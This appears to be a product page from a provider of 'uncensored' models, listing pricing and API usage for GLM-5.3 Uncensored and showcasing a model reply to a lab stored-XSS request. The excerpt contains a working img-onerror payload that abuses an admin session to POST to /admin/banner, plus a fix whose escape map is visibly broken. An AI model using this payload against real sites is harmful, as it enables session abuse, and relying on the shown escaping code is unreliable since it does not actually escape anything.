Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.
GLM-5.3 Uncensored
glm-5.3-uncensored可在浏览器聊天中和通过兼容 OpenAI 的 API 使用。
令牌价格
价格单位为 USD / 1 百万令牌
- 输入 / 1M
- US$0.350
- 缓存 / 1M
- US$0.100
- 输出 / 1M
- US$0.350
模型规格
Zhipu AI · 无审查
- 上下文窗口
- 1,000,000 token
- 最大输出
- 65,536 token
- 能力
- 文本 · 流式传输 · 工具调用
实测性能
- 平均 token/秒
- ≈ 33.7
- TTFT 估算
- 2.4 s
- 可用性参考
- 99.2%
更新于 2026/11/1 20:36:37 UTC · 提供商 24 小时请求成功率 · 横线表示当前测量数据不足。
查看模型回复
针对本地实验环境的 存储型 XSS 问题的真实回复。原始问题和回复以英语显示。输出仅作为文本展示;本页不会执行示例代码。
GLM-5.3 Uncensored
已记录的模型回复 · 2026年10月28日 19:07 UTC
已记录回复的精选节选,部分内容已省略。
Malicious comment (submit via the form):
<img src=x onerror="fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'banner=OWNED IN THE LAB',credentials:'same-origin'})">Why it works: The filter strips <script> tags, but <img> with onerror fires when the broken image loads. The admin's cookie (set by the page) is automatically sent with fetch via credentials: 'same-origin', authenticating the POST.
Reproduce:
node server.js
# Browser: http://localhost:3000
# Paste the malicious comment, submit
# Simulated admin visits /admin
# Payload fires → POST /admin/banner with fake session cookie
# Server console shows: [ADMIN] Banner set to: OWNED IN THE LABFix — safe rendering:
// Replace raw interpolation with escaping:
const esc = s => s.replace(/[&<>"']/g, c =>
({'&':'&','<':'<','>':'>','"':'"',"'":'''}[c]));
const rendered = comments.map(c => `<li>${esc(c)}</li>`).join('');Escaping at render-time neutralizes event handlers, script tags, and all other injection vectors. Token-based session validation (not just cookie presence) is the complementary server-side fix.
这是已记录的示例,并非实时聊天。打开聊天
通过 API 使用此模型
创建 API 密钥并充值。在环境中设置 UNCENSOREDLABS_API_KEY。运行 JavaScript 或 Python 示例前,请安装 openai 包。
curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
-H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"model": "glm-5.3-uncensored",
"messages": [{"role": "user", "content": "Hello, world."}],
"max_tokens": 256,
"stream": true
}' 兼容 OpenAI,更改基础 URL 即可。阅读快速入门
限制与计费
- 无过滤不保证对所有问题都作答。模型可能给出错误、不完整的回复,或拒绝回答。
- 公布的最大输出为 UncensoredLabs 服务上限。尚未对长文本生成和满上下文负载进行基准测试。
- 系统为请求的输出量及保守的输入上限预留额度;尚未验证按请求大小计量的模型会预留完整上下文窗口。最终费用按已验证用量结算;结果不确定的请求可能继续保留预留额度。
- 请求限时十分钟。受速率限制、并发限制和提供方可用性约束;API 错误包括带 Retry-After 的 429 响应。
- UncensoredLabs 不在服务器上存储问题或回复。推理提供方的保留政策适用。